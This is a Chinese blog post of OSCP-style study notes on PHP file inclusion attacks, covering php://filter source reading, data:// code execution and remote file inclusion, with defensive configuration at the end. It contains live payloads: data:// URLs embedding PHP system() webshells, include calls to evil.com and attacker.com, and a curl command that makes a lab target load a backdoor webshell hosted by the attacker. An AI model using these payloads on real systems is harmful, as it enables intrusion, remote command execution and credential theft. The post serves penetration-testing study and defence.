4-5〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸远程文件包含漏洞

郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。

💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉
Whoami!-CSDN博客🚀

​​


𖤐 现在,我们渐入佳境了,保持耐心,继续前行

𖤐 𝓝𝓸𝔀 𝔀𝓮'𝓻𝓮 𝓱𝓲𝓽𝓽𝓲𝓷𝓰 𝓸𝓾𝓻 𝓼𝓽𝓻𝓲𝓭𝓮, 𝓴𝓮𝓮𝓹 𝓹𝓪𝓽𝓲𝓮𝓷𝓽 𝓪𝓷𝓭 𝓴𝓮𝓮𝓹 𝓶𝓸𝓿𝓲𝓷𝓰 𝓯𝓸𝓻𝔀𝓪𝓻𝓭!


→ 信息收集

→ 漏洞检测

→ 初始立足点**▸常见WEB应用攻击▸-----我们在这儿~** 🔥🔥🔥

权限提升

→ 横向移动

→ 报告/分析

→ 教训/修复

目录

[1 常见WEB应用攻击](#1 常见WEB应用攻击)

[1.2 文件包含漏洞](#1.2 文件包含漏洞)

[1.2.3 PHP协议包装器(Wrappers)介绍](#1.2.3 PHP协议包装器(Wrappers)介绍)

[1.2.3.1 PHP协议包装器概述](#1.2.3.1 PHP协议包装器概述)

[1.2.3.2 重点包装器](#1.2.3.2 重点包装器)

[1.2.3.3 利用php://filter读取敏感信息](#1.2.3.3 利用php://filter读取敏感信息)

1.攻击流程图

2.攻击详细步骤

[1.2.3.4 利用data://实现代码执行](#1.2.3.4 利用data://实现代码执行)

[1. data://攻击流程图](#1. data://攻击流程图)

[2. data://包装器攻击详解表](#2. data://包装器攻击详解表)

[3. 攻击前提条件与限制](#3. 攻击前提条件与限制)

[1.2.4 远程文件包含漏洞(RFI)](#1.2.4 远程文件包含漏洞(RFI))

[1.2.4.1 远程文件包含漏洞(RFI)概述](#1.2.4.1 远程文件包含漏洞(RFI)概述)

[1.2.4.2 RFI实战攻击步骤](#1.2.4.2 RFI实战攻击步骤)

1.准备Webshell

2.启动Web服务器(将simple-backdoor.php作为远程文件)

3.发起RFI攻击

4.验证攻击结果

[1.2.4.3 RFI防护策略](#1.2.4.3 RFI防护策略)

[💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬](#💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬)


1 常见WEB应用攻击

Web开发是当前IT领域需求最高 的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:

  • 📁 目录遍历 - 通过操纵++文件路径++访问未授权资源

  • 📄 文件包含漏洞 - 包含++恶意文件执行代码++ ---远程文件包含漏洞(本文)

  • ⬆️ 文件上传攻击漏洞 - ++上传恶意文件++获取系统访问权

  • ⚡ 命令注入 - 在输入中++注入系统命令++执行

1.2 文件包含漏洞

接前文。

1.2.3 PHP协议包装器(Wrappers)介绍

PHP协议包装器就像**"万能钥匙"** 🗝️,允许PHP以不同方式访问本地或远程资源(如文件、网络)。它们增强了PHP的功能,但攻击者常利用它们绕过安全过滤器,通过文件包含漏洞获取敏感信息或代码执行权限。

1.2.3.1 PHP协议包装器概述
  • 什么是包装器?

    PHP包装器是内置的协议处理器,类似于**"交通枢纽"** 🚦,让PHP能通过统一接口(如file://http://php://)访问多样资源。

  • 常见类型

    包装器类型 用途
    file:// 访问本地文件系统
    http:// 通过HTTP访问网络资源
    php:// 处理PHP流(如输入/输出)
    data:// 直接嵌入数据(如Base64编码)
  • 攻击面

    ⚠️ 攻击者尤其关注 php://filterdata://,因为它们能绕过过滤器读取非执行文件(如配置文件)。

1.2.3.2 重点包装器
  • 功能比喻
    php://filter 像一个**"魔法滤镜"** 🪄,能在读取文件时进行编码转换(如Base64、ROT13),从而改变文件内容的显示方式。

  • 攻击利用

    • 绕过过滤器 :如果Web应用程序限制了文件访问,攻击者可用 php://filter 将PHP文件内容编码后读取(例如,Base64编码),避免直接执行代码。

      • 示例
        include("php://filter/convert.base64-encode/resource=config.php") 会以Base64显示config.php的源代码,而非执行它。
    • LFI(本地文件包含)漏洞利用

      通过路径遍历(如../../../etc/passwd)结合 php://filter,攻击者能读取敏感文件(如数据库密码)。

  • 流程图 :这就像**"用X光扫描文件"** 🔍,直接查看内部结构,而不触发执行。

    复制代码
    正常访问:用户请求 → 执行PHP代码 → 输出结果  
    攻击路径:用户请求 → 使用php://filter编码 → 读取源代码 → 解码获取信息  

📊 主要包装器利用

风险类型 包装器示例 攻击效果 比喻
文件读取绕过 php://filter 读取PHP源代码 偷看日记本📖而不被发现
远程代码执行 data:// 通过嵌入数据执行代码 通过"密信"💌传递恶意指令
路径遍历 file:// 访问系统敏感文件 用万能钥匙🗝️打开禁止的房间

💡 形象比喻总结

  • PHP包装器就像"瑞士军刀" 🛠️:功能多样,但若被恶意使用,会成为攻击工具。

  • php://filter 是"解码器":它将执行式访问转为"只读模式",如同将电影转为剧本------攻击者能分析代码漏洞。

  • 防御建议

    🔒 严格验证用户输入路径,禁用危险包装器(如通过**allow_url_include=Off**),并定期审计代码。


1.2.3.3 利用php://filter读取敏感信息

以下是攻击者通过php://filter包装器读取敏感信息的完整攻击流程:

1.攻击流程图
2.攻击详细步骤
步骤 操作描述 关键发现 结果分析
① 直接访问 page=admin.php 显示标题和维护文本,但HTML代码不完整 PHP代码在服务器端执行,无法查看源代码
② 无编码过滤 php://filter/resource=admin.php 输出结果与直接访问相同 PHP代码仍然被执行,无法达到读取源码目的
③ Base64编码 php://filter/convert.base64-encode/resource=admin.php 获取Base64编码字符串,页面正常加载 成功绕过执行,以编码形式获取文件内容
④ 解码数据 终端执行base64 -d解码 获得完整的PHP源代码,包含MySQL连接信息 发现数据库用户名、密码等敏感凭据
⑤ 利用凭据 使用获取的凭据登录 可实现数据库连接SSH登录 完成权限提升,获得系统访问权

各步骤图示:

① 直接访问: 下图显示之前审查网页应用程序时已经遇到的标题和维护文本。 注意到:

HTML代码的末尾没有关闭<body>标签 。合理推测,有些东西丢失了。PHP代码将在服务器端执行,因此不会显示。

当我们将此输出与在浏览器中查看源代码时得出结论,index.php页面的其余内容丢失了。

② 无编码过滤: 使用php://filter 来包含文件。现在,不对其进行任何编码。PHP包装器使用resource作为必需的参数,用于指定用于过滤的文件流,这里的情况是文件名。我们还可以在此参数中指定绝对路径或相对路径。

输出显示相同的结果。因为PHP代码通过LFI漏洞被包含和执行。

**③ Base64编码:**使用base64对输出进行编码通过添加convert.base64-encode。 这将将指定的资源转换为base64字符串。下图包含了base64编码的数据。

④ 解码数据: 使用base64程序和-d标志(解码)在终端中解码编码的数据。显示出完整(包括之前被执行)的代码,解码后的数据包含:MySQL连接信息,包括用户名和密码!!!

**⑤ 利用凭据:**可使用这些凭据连接到数据库,或者尝试使用SSH登录用户账户的密码。

  • 为什么需要编码?

    ➤ 直接包含PHP文件会导致代码被执行 而非显示

    ➤ Base64编码将源代码转为纯文本格式,避免执行

  • 攻击成功的关键

    LFI漏洞存在 - 可动态包含文件

    php://filter可用 - 服务器未禁用危险包装器

    敏感信息硬编码 - 配置文件包含明文凭据

🛡️ 防御启示

bash 复制代码
# 危险配置(导致漏洞)
allow_url_include = On

# 安全配置(建议)
allow_url_include = Off
php://filter包装器限制使用

核心教训永远不要 在源代码中硬编码敏感信息,并严格限制文件包含功能! 🔒


1.2.3.4 利用data://实现代码执行

以下是使用**data://**包装器嵌入恶意代码的完整攻击流程:

1. data://攻击流程图
2. data://包装器攻击详解表
攻击阶段 技术细节 关键命令/代码 防御规避效果
① 明文数据注入 直接嵌入PHP代码 data://text/plain,<?php system("ls");?> 基本WAF可检测
② Base64编码绕过 编码规避安全检测 data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4= 绕过字符串过滤
③ 命令执行 通过参数传递命令 ?cmd=id?cmd=cat /etc/passwd 动态命令执行

① 明文数据注入: 使用该包装器,添加data:// 后跟数据类型和内容。尝试将一个小的URL编码的PHP片段嵌入到Web应用程序的代码中,使用ls命令。text/plain 是MIME 类型,表示数据是纯文本格式。看到,命令被执行了。

② Base64编码绕过:但是,直接明文注入,会被WAF检测到!因此需要编码后注入。

我们先将PHP代码片段编码为base64,然后使用curl将其嵌入并通过 data://包装器执行。

bash 复制代码
$ echo -n '<?php echo system($_GET["cmd"]);?>' | base64

//-n ,echo就不会在输出后自动添加换行符;然后进行base64编码。

如果你使用echo -n:echo -n "Hello",会输出:HelloWorld(即,world跟在后面)

data://包装器语法结构

php 复制代码
data://[<MIME-type>][;base64],<data>
  • MIME-type : 指定数据类型,如 text/plaintext/html

  • base64标识: 可选,表示数据为Base64编码

  • 数据内容: 要嵌入的实际代码或数据

攻击示例对比

攻击类型 URL示例 优点 风险
明文攻击 data://text/plain,<?php system("ls");?> 简单直接 易被检测
编码攻击 data://text/plain;base64,PD9waHA... 绕过过滤 需要编码

3. 攻击前提条件与限制

默认的PHP安装中,data://包装器不起作用。要利用它,必须启用allow_url_include设置

php 复制代码
allow_url_include = On    ; ✅ 允许URL包含
allow_url_fopen = On      ; ✅ 允许URL文件操作

allow_url_include核心概念

属性 详细说明
配置类型 PHP.ini中的安全配置选项
控制范围 include, require, include_once, require_once
默认状态 Off(关闭) - 安全优先

📊 配置状态对比表

配置状态 功能权限 安全风险 推荐场景 风险等级
✅ On(开启) 允许包含远程文件(HTTP/FTP) 🔴 高危:RFI漏洞 开发测试环境 💀
❌ Off(关闭) 仅允许包含本地文件 🟢 低危 生产环境
php 复制代码
# 📍 配置文件位置:php.ini
# 开启远程包含(危险!)
allow_url_include = On

# 关闭远程包含(推荐安全设置)
allow_url_include = Off

💻 代码示例对比

允许远程包含时(allow_url_include = On)

php 复制代码
<?php
// 🚨 危险代码示例 - 可能被恶意利用
include('http://evil.com/malicious.php');
?>

执行结果:✅ 可正常包含并执行远程恶意代码

禁止远程包含时(allow_url_include = Off)

php 复制代码
<?php
// 🔒 安全限制 - 包含远程文件会报错
include('http://evil.com/malicious.php');
?>

执行结果 :❌ Warning: include(): http:// wrapper is disabled in the server configuration

RFI(远程文件包含)攻击流程

攻击场景示例http://victim.com/index.php?page=**http://attacker.com/shell.txt**

  • 攻击结果:服务器下载并执行攻击者的远程恶意脚本

1.2.4 远程文件包含漏洞(RFI)

1.2.4.1 远程文件包含漏洞(RFI)概述
属性 详细说明 风险等级
漏洞类型 远程文件包含攻击 🔴 高危
出现频率 比LFI更少见(需特定配置) ⭐⭐
攻击条件 allow_url_include = On 关键前提

📊 LFI vs RFI对比表

特性 LFI(本地文件包含) RFI(远程文件包含)
文件来源 本地文件系统 远程服务器(HTTP/SMB等)
配置要求 通常默认存在 allow_url_include = On
攻击难度 相对容易 需要特定配置
危害范围 本地信息泄露 远程代码执行+持久化
漏洞发现 LFI部分介绍的相同技术来发现RFI漏洞 和LFI部分介绍的相同发现的技术

🔧 RFI 攻击流程详解

  • 🕵️ 侦察阶段 - 发现文件包含参数

  • 🔧 准备阶段 - 准备恶意Webshell

  • 🌐 服务阶段 - 搭建远程文件服务器

  • ⚡ 攻击阶段 - 触发远程文件包含

  • 🎯 控制阶段 - 获取系统权限


1.2.4.2 RFI实战攻击步骤
1.准备Webshell

Kali在 /usr/share/webshells/php/ 目录中的几个PHP webshell,可用于RFI。

webshell是一个小脚本,提供基于Web的命令行界面,使执行命令更加简单和方便。在这个例子中,将使用simple-backdoor.php webshell来利用"Mountain Desserts"的RFI漏洞。

🛠️ 常用Webshell类型对比

Webshell名称 功能特点 适用场景 隐蔽性
simple-backdoor.php 基础命令执行 RFI测试 ⭐⭐
php-reverse-shell.php 反向连接shell 持久化访问 ⭐⭐⭐
c99.php 图形化文件管理 高级运维
b374k.php 多功能后门 专业渗透 ⭐⭐
2.启动Web服务器(将simple-backdoor.php作为远程文件)
php 复制代码
# 🖥️ 在Kali上启动Python HTTP服务器
cd /usr/share/webshells/php/
python3 -m http.server 80

# ✅ 服务器运行在:http://<Kali-IP>/simple-backdoor.php
3.发起RFI攻击
bash 复制代码
# 💣 使用curl进行RFI攻击
$ curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.119.3/simple-backdoor.php&cmd=ls"
复制代码
# 📊 攻击参数分解:
# - page参数:指向攻击者的远程Webshell:http://192.168.119.3/simple-backdoor.php
# - cmd参数:要执行的系统命令
4.验证攻击结果

1.2.4.3 RFI防护策略

配置文件层防护

bash 复制代码
# 🔒 安全配置(php.ini)
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html

代码层防护

php 复制代码
<?php
// ✅ 安全的文件包含实践
$whitelist = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';

if (in_array($page, $whitelist)) {
    include("templates/{$page}.php");
} else {
    header('HTTP/1.0 403 Forbidden');
    die('Access Denied');
}
?>

WAF规则示例

php 复制代码
# 🛡️ Nginx WAF规则
location ~* \.(php)$ {
    if ($query_string ~* "(http|https|ftp)://") {
        return 403;
    }
}

💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!

相关推荐
大方子2 小时前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha4 小时前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络4 小时前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd6 小时前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你11 小时前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha1 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
成茂峰1 天前
软考高级·系统架构设计师 | 四、信息技术安全知识
安全·信息安全·系统架构·架构设计师
liann1191 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20251 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec1 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf